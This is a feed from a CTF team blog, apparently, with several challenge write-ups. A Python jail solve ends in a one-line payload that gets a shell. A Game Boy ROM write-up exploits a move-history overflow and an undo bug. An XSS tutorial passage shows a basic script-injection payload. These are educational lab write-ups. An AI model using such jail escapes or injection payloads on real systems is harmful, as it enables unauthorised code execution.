</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">any</span>(<span style="color:#d0a8ff">map</span>(<span style="color:#fc5fa3">lambda</span> c: c in code, blacklist)):
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Are you trying to cheat me!? Emergency exit in progress.&#34;</span>)
</span></span><span style="display:flex;"><span>            exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> code.lower()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    SSPJ()
</span></span></code></pre></div><h2 id="solve">Solve</h2>
<p>This is a simple pyjail. We can&rsquo;t use <code>(</code>, <code>[</code>, <code>{</code> and also <code>.</code>, <code>=</code> so it&rsquo;s basically impossible to pollute attributes of <code>help</code>, <code>license</code>, etc.</p>
<p>Note that the builtins are not removed so we can import modules. Also, there&rsquo;s a character blacklist which is easily bypassable by sending the payload in uppercase.</p>
<p>The only thing that we can pollute is the <code>__main__</code> module. This is possible because when a module is imported, it can be accessed in the <code>__main__</code> one. So if you do something like:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> os <span style="color:#fc5fa3">import</span> system
</span></span></code></pre></div><p>then the <code>system</code> will be accessible from <code>__main__.system</code>. We can abuse this by renaming <code>system</code> to <code>__getattr__</code> so if we try to import something from the main module, it will call our function.</p>
<p>Final exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>FROM OS IMPORT SYSTEM; FROM __MAIN__ IMPORT SH
</span></span></code></pre></div>]]></content></item><item><title>CSAW '24 Cybersecurity Awareness Communication Challenge Report</title><link>https://theromanxpl0.it/posts/2024/11/csaw-24-cybersecurity-awareness-communication-challenge-report/</link><pubDate>Sun, 17 Nov 2024 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2024/11/csaw-24-cybersecurity-awareness-communication-challenge-report/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;p>I (Titto) participated in the &lt;a href="https://esisar.grenoble-inp.fr/fr/recherche/cybersecurity-awareness-communication-challenge-cac%c2%b2">Cybersecurity Awareness Communication Challenge&lt;/a> 2024. Below is the qualification report that allowed me and my teammate Ryan to qualify for the final, which took place at Esisar in Valence.&lt;/p>
&lt;p>I&amp;rsquo;m happy to have represented the TRX name in a competition that was less technical than those we usually play. For more details on the experience and the implementation strategy we used for the final, you can read &lt;a href="https://tiziano-caruana.github.io/posts/blog/csaw2024/csaw_cac/">my blog post on my personal website&lt;/a>.&lt;/p></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<p>I (Titto) participated in the <a href="https://esisar.grenoble-inp.fr/fr/recherche/cybersecurity-awareness-communication-challenge-cac%c2%b2">Cybersecurity Awareness Communication Challenge</a> 2024. Below is the qualification report that allowed me and my teammate Ryan to qualify for the final, which took place at Esisar in Valence.</p>
<p>I&rsquo;m happy to have represented the TRX name in a competition that was less technical than those we usually play. For more details on the experience and the implementation strategy we used for the final, you can read <a href="https://tiziano-caruana.github.io/posts/blog/csaw2024/csaw_cac/">my blog post on my personal website</a>.</p>
<p>Thank you</p>
<h2 id="team-mashers---qualification-report">Team Mashers - Qualification report</h2>
<div class="responsive-wrap">
    <iframe src="/csaw24/CSAW_CAC_website.pdf" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>CSAW '24 Embedded Security Challenge Report</title><link>https://theromanxpl0.it/posts/2024/11/csaw-24-embedded-security-challenge-report/</link><pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2024/11/csaw-24-embedded-security-challenge-report/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;p>Some of our members participated in the &lt;a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge&lt;/a> 2024. Below is the qualification report that allowed the team representing TRX to qualify for the final, which took place at Esisar in Valence.&lt;/p>
&lt;h2 id="trx-technical-labs---final-report">TRX Technical Labs - Final report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw24/CSAW_quals_paper_2024.pdf" width="100%" height="1080">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<p>Some of our members participated in the <a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge</a> 2024. Below is the qualification report that allowed the team representing TRX to qualify for the final, which took place at Esisar in Valence.</p>
<h2 id="trx-technical-labs---final-report">TRX Technical Labs - Final report</h2>
<div class="responsive-wrap">
    <iframe src="/csaw24/CSAW_quals_paper_2024.pdf" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>GPN 2024 - Parabox</title><link>https://theromanxpl0.it/posts/2024/06/gpn-2024-parabox/</link><pubDate>Thu, 13 Jun 2024 15:08:35 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2024/06/gpn-2024-parabox/</guid><description>&lt;p>WARNING! The second video in the &amp;ldquo;Find the Missing -&amp;gt; UNDO for the win&amp;rdquo; Section and the video in &amp;ldquo;Conclusions&amp;rdquo; contains flashing images, it should not auto play but pay attention.&lt;/p>
&lt;h2 id="challenge-information">Challenge Information&lt;/h2>
&lt;h3 id="description">Description&lt;/h3>
&lt;div style="text-align: center;">
&lt;img src="https://theromanxpl0.it/gpn2024/images/cover.png" alt="drawing" width="200"/>
&lt;/div>
&lt;p>&lt;a href="https://www.patricksparabox.com/">This game&lt;/a> looked real fun, unfortunately they did not support my platform. I wanted to play it anyway, so I built this small version myself. Some things went wrong (writing assembly is hard), but I&amp;rsquo;m sure you can win nonetheless.&lt;/p></description><content type="html"><![CDATA[<p>WARNING! The second video in the &ldquo;Find the Missing -&gt; UNDO for the win&rdquo; Section and the video in &ldquo;Conclusions&rdquo; contains flashing images, it should not auto play but pay attention.</p>
<h2 id="challenge-information">Challenge Information</h2>
<h3 id="description">Description</h3>
<div style="text-align: center;">
    <img src="/gpn2024/images/cover.png" alt="drawing" width="200"/>
</div>
<p><a href="https://www.patricksparabox.com/">This game</a> looked real fun, unfortunately they did not support my platform. I wanted to play it anyway, so I built this small version myself. Some things went wrong (writing assembly is hard), but I&rsquo;m sure you can win nonetheless.</p>
<p>Go push some paraboxes!</p>
<h3 id="category">Category</h3>
<p>Reverse, Hard</p>
<h3 id="files">Files</h3>
<ul>
<li>parabox.tar.gz, contains gbc ROM file and GearBoy, which is a linux Game Boy Color emulator</li>
</ul>
<h3 id="tldr">TLDR</h3>
<p>Challenge is a Game Boy Color ROM containing a version of the Parabox game, objective is to win the game on the server by sending the correct moves. The objecctive of the game is to position some boxes and the player in the corrrect positions, for each level we can traverse 3 maps, the main screen plus 2 paraboxes which we can enter, one blue, one green. There are a total of 8 levels and some are impossible trough normal playing, but with some reversing i was able to find 3 vulnerabilities that can be used to beat the game.</p>
<p>The 3 vulns are:</p>
<ul>
<li>The game saves a list of moves, we can overflow this list by 1 simply by playing the game and overwrite the position of the victory square which is saved immediatly after, can be used to beat the &ldquo;Impossible&rdquo; level which has an unreachable finish;</li>
<li>To implemented the undo feature the game periodically saves a copy of each map, when redo is pressed the copy is restored and the moves are replayed, if a level has less maps of its predecessor when we undo we will copy in an additional map from it overwriting some memory, this can be used on the &ldquo;Missing&rdquo; level which has impossible constraints;</li>
<li>In the &ldquo;Last Hurdle&rdquo; boxes have a connection where they should not;</li>
</ul>
<p>An overall interesting challenge which included both reversing and some very easy pwning.</p>
<h2 id="writeup">WriteUp</h2>
<h3 id="getting-things-going">Getting things going</h3>
<p>I started late for this CTF and when i joined my team i found out we had some new team members which were on their way to solve the easier challenges, so i left them to their devices and decided that i would straight to the hardest ones.</p>
<p>After immediately deciding that &ldquo;provably wrong&rdquo; was not for me i landed on Parabox, a retro game reverse challenge, which i generally enjoy.</p>
<p>In the zip provided we find their complete server setup with a Dockerfile and a README which explains that we need to reverse the &ldquo;parabox.gbc&rdquo; ROM file and that our objective which is simply to &ldquo;win the game&rdquo;.</p>
<p>Let&rsquo;s start by looking at how the docker sets up the challenge, it clones a version of <a href="https://github.com/drhelius/Gearboy">GearBoy</a>, which is a GameBoy Color emulator and applies a patch to turn off the graphic component, automatically apply the inputs from the player and check whatever the user has achieved the win condition after it.</p>
<p>First thing i did was patch back in the graphic component so that i can actually see the game and reactivate the event monitor so that i could provide inputs from the keyboards after the initial array has run out. Thankfully the organizers left all the removed code as comments so the only thing i needed to do was uncomment some lines and add a check to prevent the game from exiting after it finishes the inputs.</p>
<p>The first levels are just an introduction to the game, so i installed <a href="https://github.com/kernc/logkeys">LogKeys</a> to record my keyboard while i solved each screen and wrote a small python script to encode the moves in the game format, here is the solutions of the first 5 levels:</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_0.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video> 
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_1.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_2.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_3.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_4.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<p>The objective of the game is to get our character in the finish square and to put a box in all the designed spots, the twist here is the presence of &ldquo;paraboxes&rdquo; which are boxes that we both move and enter inside, as shown in level 4.</p>
<p>After completing the intro levels the real challenge starts, we reach the &ldquo;Impossible&rdquo; level which, as the name suggests, has an unreachable ending square and is thus impossible to finish through normal means. Well, i had my fun with the game, now it&rsquo;s time to break it.</p>
<h3 id="beating-the-impossible">Beating the &ldquo;Impossible&rdquo;</h3>
<p>The solution to this part is actually pretty easy, i passed the level by accident a couple times and then i noticed what was happening by looking at the program memory, which is thankfully one of the features offered by GearBoy.</p>
<p>Let&rsquo;s note down some of the area in memory to look up later, i was able to find:</p>
<ul>
<li>the map of the level at <code>0xc100</code>, red box;</li>
<li>the current position of the player at <code>0xc1f8</code>, blue box;</li>
<li>the history of played moves at <code>0xc200</code>, green box;</li>
<li>the position of the winning square at <code>0xc271</code>, yellow box;</li>
</ul>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/memory.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<p>Any pwn expert reading this has already snuffed out where a vulnerability might be, i am not very good at pwning so it took me a bit of time but the interesting part here is that we have an array that grows, the move history, which is very near our victory square position, if the boundary of this array is not enforced correctly we may be able to overwrite the position of the finish.</p>
<p>Indeed, this is a vulnerability as the limit of the move history is one byte too much, allowing us to overwrite the position with the value assigned to our move. Again from the move history we find out that the values are:</p>
<ul>
<li><code>0x10</code> for RIGHT;</li>
<li><code>0x20</code> for LEFT;</li>
<li><code>0x40</code> for UP;</li>
<li><code>0x80</code> for DOWN;</li>
</ul>
<p>Now all we need to do to beat the impossible level is make a bunch of random moves to fill up the history array until the end, then make a move which corresponds to a square we can reach, which is only LEFT, then go to that square and finish the level. Using left as our overflow move we end up with the finish in the bottom left, here&rsquo;s my version of the solution:</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_5.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<p>After beating this we reach level &ldquo;small&rdquo; which is a normal level, then we reach &ldquo;Missing&rdquo; and even after putting all the boxes in the correct place the level wont let me advance, clearly there some shenanigans happening here and it&rsquo;s actually time to start reversing to find out what is going on.</p>
<h3 id="find-the-missing">Find the &ldquo;Missing&rdquo;</h3>
<p>With the initial googling for this challenge i discovered <a href="https://github.com/Gekkio/GhidraBoy">GhidraBoy</a> which is a Ghidra extension for reversing GBC games, so installed that, booted up Ghidra and the result was some really nicely formatted pseudo-code which was pretty surprising.</p>
<h4 id="understanding-victory-conditions">Understanding victory conditions</h4>
<p>With a decompiler in hand i put some memory breakpoints with GearBoy on the address of the finish square, i wanted to check how a victory is calculated as it seems that this was the problem with the level. Turns out that the victory condition is checked at every game loop by the function at <code>0x0733</code>, and after some reversing i discovered that it does something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">struct</span> victory_condition {
</span></span><span style="display:flex;"><span>    u8 position;
</span></span><span style="display:flex;"><span>    u8 map;
</span></span><span style="display:flex;"><span>    u8 value;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>u8 <span style="color:#41a1c0">check_victory</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">struct</span> victory_condition* curr = <span style="color:#d0bf69">0xc279</span>; <span style="color:#6c7986">// victory condition position
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  u8 win = <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>  u8 curr_value;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span>( <span style="color:#d0a8ff">true</span> ) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (curr-&gt;position == -<span style="color:#d0bf69">1</span>) <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>    curr_value = <span style="color:#41a1c0">get_value_from_map</span>(curr-&gt;map, curr-&gt;position);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (!<span style="color:#41a1c0">check_correct_value</span>(curr-&gt;value, curr_value)) {
</span></span><span style="display:flex;"><span>      win = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    victory_condition++;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> win;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>There are multiple conditions starting at <code>0xc279</code> that we need to beat a level, the first is always to have the player on the finish square, then we can have an arbitrary number of other conditions which check the correct position of the boxes. Each condition is associated with a map, a level can have up to three maps, the first is where the players spawns, the other two are the green and blue &ldquo;paraboxes&rdquo;, shown below for the level &ldquo;small&rdquo;:</p>
<img src="/gpn2024/images/small_1.jpeg" alt="drawing" width="250"/>
<img src="/gpn2024/images/small_2.jpeg" alt="drawing" width="250"/>
<img src="/gpn2024/images/small_3.jpeg" alt="drawing" width="250"/>
<p>Now let&rsquo;s have a look at the victory conditions for the &ldquo;Missing&rdquo; level:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x06</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>],
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x24</span>, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>],
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x25</span>, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>],
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x25</span>, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>],
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x04</span>, <span style="color:#d0bf69">2</span>, <span style="color:#d0bf69">1</span>],
</span></span><span style="display:flex;"><span>    [<span style="color:#d0bf69">0x07</span>, <span style="color:#d0bf69">2</span>, <span style="color:#d0bf69">1</span>],
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Unfortunately, it looks like we have two extra conditions on map 2, the green box, which we can&rsquo;t access in the &ldquo;Missing&rdquo; level, making the level impossible.</p>
<p>Here i got stuck for a while, then i tried pressing a button which i still hadn&rsquo;t used, the &ldquo;UNDO&rdquo;, and discovered something interesting.</p>
<h4 id="undo-for-the-win">UNDO for the win</h4>
<p>The game offers an UNDO button for when you make a mistake during the puzzle, this allows to cancel your last move, this is probably why the move history exists, to allow for the rewind.</p>
<p>However, the implementation of the feature is peculiar, instead inverting the logic of a single move to rewind, it restores all the maps of the level to a past state, then it re-plays all the moves in the history except for the last one, it is not shown on screen but we can clearly see it from the memory if we slowdown the video a bit:</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/undo.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>
<p>Now after a bit of reversing and some breakpoints i was able to find the functions that save and restore the level, which are at <code>0x06c3</code> and <code>0x0706</code> respectively. Here we can find the vulnerability, when a level is saved, only the maps active in the level are copied to the buffer, but when a level is restored, all 3 maps are replaced with the contents of the buffer, even if the current level does not utilize all the maps. Now, if we remember the victory conditions for the &ldquo;Missing&rdquo; level, we needed a 2 objects in map 3 which is not present in the level, luckily for us, the level before, &ldquo;Small&rdquo;, has a green parabox, which corresponds to map 3. What we need to do is make a bunch of moves in the level &ldquo;Small&rdquo; to make the game save its state, then in the level &ldquo;Missing&rdquo; we undo to copy &ldquo;Small&rdquo; third map into &ldquo;Missing&rdquo;.</p>
<p>Now, the only thing left to do is setup the state of the green parabox in &ldquo;Small&rdquo; so that it satisfies the win conditions of &ldquo;Missing&rdquo; before saving the state, this means we need to fill up both spots in the parabox, unfortunately, this is impossible as the level has only one box we can use. However, after a bit of testing, it turns out that the id representing the player on the map changes at every level depending on the number of boxes and the value assigned to us by the level &ldquo;Small&rdquo; actually fulfils the requirements for a box in the level &ldquo;Missing&rdquo;.</p>
<p>So now we have all the pieces, we go in and out of the green box in &ldquo;Small&rdquo; to setup a saved state for map 3, then in &ldquo;Missing&rdquo; we press UNDO at the start to get the last winning conditions, then complete the level as normal. Here is my solution:</p>
<p>BEWARE! FLASHING IMAGES!</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_6_7.mp4"  type="video/mp4">
    your browser does not support the video tag.
</video> 
<p>I skipped some details for the sake of clarity, but the game actually saves 4 states to restore instead of only 1, it does so every 32 moves probably because it would take too much time to re-play the full length of the move history array, so at the start of &ldquo;Missing&rdquo; i have to waste some moves to re-align myself with the correct saved state.</p>
<p>Also in both levels i end up overwriting the finish square with a bad move, so at the end i have to reset it to a reachable square, could have optimized it better but i was starting to get real tired at this point so i just left it.</p>
<h3 id="a-bit-of-luck-saves-the-night">A bit of luck saves the night</h3>
<p>So i reached this point, the &ldquo;Last Hurdle&rdquo;, at 4AM in the morning, i started this challenge at 7PM after a full 8-hour work day and skipped dinner, so i was pretty much about to collapse.</p>
<p>I really wanted to finish this challenge to get the first blood before going to bed, but i had to hope for an easy last level or i would not make it. This is what is saw:</p>
<img src="/gpn2024/images/last_1.jpeg" alt="drawing" width="250"/>
<img src="/gpn2024/images/last_2.jpeg" alt="drawing" width="250"/>
<img src="/gpn2024/images/last_3.jpeg" alt="drawing" width="250"/>
<p>There is no hidden condition here so you just need to get the box at the center of the green parabox and you win, unfortunately there is no way for the player to enter the green parabox, i edited the game memory removing a wall to see it the first time, so you can never push the box down to its position.</p>
<p>My idea here was to somehow duplicate the boxes and push both inside the green parabox so that one would go in the correct square and, in a wonderful moment of luck, i pushed to box down in the bottom left corner of the blue parabox.</p>
<p>The bottom and right side of the blue parabox are facing a wall so i should not able to push anything in, i followed the box and, surprisingly, i found myself inside the green parabox. By sheer luck, in only around 20 minutes of playing around, i found the glitch, the left corner of the blue parabox is connected to the green parabox, with this information the solution to the level is trivial, here it is:</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/level_8.mp4"  type="video/mp4">
    your browser does not support the video tag.
</video> 
<h2 id="conclusions">Conclusions</h2>
<p>With all the solutions i updated my script to send the moves to the server with pwntools and i got the flag:</p>
<pre tabindex="0"><code>GPNCTF{p41n_70_d3v3l0p_h0p3fully_l355_p41n_70_50lv3_fd29a4b2833}
</code></pre><p>I can imagine the pain to develop, thank you for your sacrifice, i had fun, not sure if it was less of a pain tough.</p>
<p>I got my first blood and i went to sleep at around 5AM pretty happy with myself, i was a bit less happy when i discovered i was the only solve for the challenge and i could have just gone to sleep at a normal time.</p>
<p>This thing got pretty long and i could not even include my fuzzing experiments with the challenge, congrats if you made down here, here is the full video of the solve:</p>
<p>BEWARE! FLASHING IMAGES!</p>
<video width="320" height="240" controls>
  <source src="/gpn2024/videos/full_solve.mp4"  type="video/mp4">
    your browser does not support the video tag.
</video> 
<h2 id="tools-used">Tools used</h2>
<ul>
<li>
<p>Ghidra with <a href="https://github.com/Gekkio/GhidraBoy">GhidraBoy</a>, used as a dissassembler and decompiler, the extension produced some very readable code which helped me greatly with the challenge;</p>
</li>
<li>
<p><a href="https://github.com/drhelius/Gearboy">GearBoy</a>, used as an emulator and debugger, it was already included in the challenge and the debugger offers all functionalities needed during reversing;</p>
</li>
<li>
<p><a href="https://github.com/kernc/logkeys">LogKeys</a>, linux keylogger which i used to extract the moves i played on the more straightforward levels</p>
</li>
</ul>
]]></content></item><item><title>OpenECSC 2024 - Perfect Shop</title><link>https://theromanxpl0.it/posts/2024/03/openecsc-2024-perfect-shop/</link><pubDate>Wed, 27 Mar 2024 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2024/03/openecsc-2024-perfect-shop/</guid><description>&lt;blockquote>
&lt;p>&amp;ldquo;Do you like perfect things? Check out my new online shop!&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>Prior knowledge: HTML, JavaScript&lt;/em>&lt;/p>
&lt;h2 id="context">Context&lt;/h2>
&lt;p>The link to the challenge website and its corresponding source code are provided. At first glance, the website may seem a bit overwhelming: there are various functionalities, which means several endpoints and mechanisms to study in search of vulnerabilities.&lt;/p>
&lt;p>However, fortunately, the code is relatively short and not very verbose, and all files except for &lt;code>server.js&lt;/code> do not contain interesting elements: &lt;code>products.js&lt;/code> gathers information about the products, while the various &lt;a href="https://en.wikipedia.org/wiki/Template_processor">templates&lt;/a> seem to only display elements passed by the server. Their presence can be kept in mind, but the existence of a &lt;a href="https://portswigger.net/web-security/server-side-template-injection">Server Side Template Injection&lt;/a> is temporarily ruled out.&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>&ldquo;Do you like perfect things? Check out my new online shop!&rdquo;</p></blockquote>
<p><em>Prior knowledge: HTML, JavaScript</em></p>
<h2 id="context">Context</h2>
<p>The link to the challenge website and its corresponding source code are provided. At first glance, the website may seem a bit overwhelming: there are various functionalities, which means several endpoints and mechanisms to study in search of vulnerabilities.</p>
<p>However, fortunately, the code is relatively short and not very verbose, and all files except for <code>server.js</code> do not contain interesting elements: <code>products.js</code> gathers information about the products, while the various <a href="https://en.wikipedia.org/wiki/Template_processor">templates</a> seem to only display elements passed by the server. Their presence can be kept in mind, but the existence of a <a href="https://portswigger.net/web-security/server-side-template-injection">Server Side Template Injection</a> is temporarily ruled out.</p>
<p>Even before the declaration of the endpoints, you can see the following code at the beginning of <code>server.js</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> express = require(<span style="color:#fc6a5d">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> crypto = require(<span style="color:#fc6a5d">&#39;crypto&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> sanitizer = require(<span style="color:#fc6a5d">&#34;perfect-express-sanitizer&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> products = require(<span style="color:#fc6a5d">&#39;./products&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> HEADLESS_HOST = process.env.HEADLESS_HOST || <span style="color:#fc6a5d">&#39;headless:5000&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> HEADLESS_AUTH = process.env.HEADLESS_AUTH || <span style="color:#fc6a5d">&#39;supersecret&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> WEB_DOM = process.env.WEB_DOM || <span style="color:#fc6a5d">&#39;web:3000&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> FLAG = process.env.FLAG || <span style="color:#fc6a5d">&#39;openECSC{this_is_a_fake_flag}&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> admin_password = crypto.randomBytes(<span style="color:#d0bf69">20</span>).toString(<span style="color:#fc6a5d">&#39;hex&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> app = express();
</span></span><span style="display:flex;"><span>app.use(express.urlencoded({ extended: <span style="color:#fc5fa3">false</span> }));
</span></span><span style="display:flex;"><span>app.set(<span style="color:#fc6a5d">&#39;view engine&#39;</span>, <span style="color:#fc6a5d">&#39;ejs&#39;</span>);
</span></span><span style="display:flex;"><span>app.use(sanitizer.clean({ xss: <span style="color:#fc5fa3">true</span> }, [<span style="color:#fc6a5d">&#34;/admin&#34;</span>]));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app.use((req, res, next) =&gt; {
</span></span><span style="display:flex;"><span>    res.locals.errormsg = <span style="color:#fc6a5d">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>    res.locals.successmsg = <span style="color:#fc6a5d">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>    next();
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>It&rsquo;s already possible to notice something interesting. The first half of the code does nothing but <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import">import libraries</a>.</p>
<h4 id="key-concepts-for-this-challenge">Key Concepts for This Challenge</h4>
<p>I&rsquo;ve decided to write down the key concepts necessary to solve the challenge so that the writeup can reach players who are not accustomed to the CTF context, given the nature of the competition. A CTF player and/or a programmer can directly read the <a href="#summary-of-available-information">summary of available information</a> or a previous subsection that interests them.</p>
<h5 id="sending-information-to-the-server">Sending Information to the Server</h5>
<p>Starting from <code>const app = express();</code>, which confirms the use of <a href="https://github.com/expressjs/express">express</a> as the <a href="https://en.wikipedia.org/wiki/Web_framework">web framework</a> of the site, the next line allows the programmer to access the data sent by users in POST requests as <a href="https://swagger.io/docs/specification/2-0/describing-request-body/">body parameters</a> through <code>req.body.[parameter]</code>.</p>
<p><em>Body parameters</em> are the information that the website receives without passing through either <a href="https://www.branch.io/glossary/query-parameters/">query parameters</a> (in <code>https://www.google.com/search?q=openECSC</code>, <code>q</code> is the query parameter and <code>openECSC</code> is its value), or through <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">headers</a> including <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie">cookies</a>. Typically, body parameters &ldquo;pass&rdquo; the information that the user enters in a form to the server, which handles it according to the programmer&rsquo;s intentions.</p>
<p>Summary:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/body_params.png" alt="Example of using various methods to send information to the server">
<p>As you can see, it&rsquo;s not mandatory for what the user sees and what is sent to the server to be the same. In this case, regarding the product, it&rsquo;s much easier for the server to work with the id rather than the name, which in any case would still uniquely represent the selected product. It&rsquo;s also fair to say that the programmer will access this information through the properties <code>req.body.id</code> and <code>req.body.message</code>.</p>
<h5 id="basics-of-xss">Basics of XSS</h5>
<p>Continuing, it&rsquo;s noticeable that <a href="https://github.com/mde/ejs">ejs</a> is the chosen template engine for this app.</p>
<p>Moving forward, the application is instructed to use <a href="https://github.com/pariazar/perfect-express-sanitizer">perfect-express-sanitizer</a> to avoid the risk of <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a> (Cross-Site Scripting), except for the <code>/admin</code> endpoint. This type of attack is very straightforward: it occurs when a site can be manipulated to allow the execution of JavaScript code not explicitly written by the programmer. The most peculiar example is inserting a tag like this: <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>. If this tag is inserted in a search page that prints what the user has searched for without any sanitization, the tag will be interpreted and the script executed:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/vid/basicXSSexample.gif" alt="Basic XSS example">
<p>This attack is &ldquo;temporary&rdquo;, only valid for the victim request, and it&rsquo;s called <em>reflected XSS</em>. If the payload/attack vector (in this case <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>) had been somehow stored by the application, like, for example, in a comment, the attack would have been a <em>stored XSS</em>.</p>
<h5 id="handling-request-and-response-in-express">Handling Request and Response in Express</h5>
<p>The last portion of code doesn&rsquo;t show anything interesting. <code>res.locals.errormsg</code> and <code>successmsg</code>, if not null, appear as pop-ups containing useful information for the user (e.g., &ldquo;search too long&rdquo;).</p>
<p>It might be more useful to focus on the <code>req</code> and <code>res</code> parameters. These two parameters are present in all endpoints, and serve respectively to obtain information from and/or about the newly received request (<code>req</code>), and to &ldquo;assign&rdquo; information to the outgoing response, including those related to the aesthetics of the page.</p>
